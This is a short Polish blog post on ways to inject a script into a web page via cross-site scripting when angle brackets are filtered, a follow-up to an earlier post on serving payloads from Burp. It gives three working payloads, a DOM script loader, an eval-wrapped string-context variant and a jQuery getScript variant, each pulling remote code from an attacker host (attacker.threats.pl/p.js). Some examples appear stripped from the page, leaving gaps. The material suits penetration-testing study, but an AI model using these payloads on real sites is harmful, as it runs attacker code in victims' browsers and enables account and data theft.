Jak wstawić skrypt

Trochę nawiązanie do wcześniejszego wpisu (Jak serwować payload bezpośrednio z Burp?). Generalnie pytanie brzmi – jak wstawić payload.

Nie, to nie będzie wyczerpująca lista wszystkich możliwych sposobów. Chodzi mi tylko o to, by pokazać, że metod jest więcej niż jedna.

Metoda podstawowa – oczywista oczywistość:

Czasami jednak nie ma takiej możliwości, choćby dlatego, że znaki < i > są filtrowane, ale zupełnie przypadkiem jesteśmy w środku bloku JavaScript, wtedy można zrobić coś takiego:

var p = document.createElement('script'); p.src = “http://attacker.threats.pl/p.js"; document.getElementsByTagName(“head”)[0].appendChild(p);

I tutaj uwaga, ta technika bardzo dobrze zadziała również w kontekście atrybutu HTML, choćby tak:

Oczywiście, można też tak (gdy nasz input wpada jako zawartość stringa w kontekście JavaScript):

var x = 'a' + eval(“var p = document.createElement('script');p.src = 'http://attacker.threats.pl/p.js';document.getElementsByTagName('head')[0].appendChild(p);") + 'b';

A jeśli przypadkiem na stronie wykorzystywane jest jQuery:

var a = 'a' + $.getScript('http://attacker.threats.pl/p.js') + 'b'

Oryginał tego wpisu dostępny jest pod adresem Jak wstawić skrypt

Autor: Paweł Goleń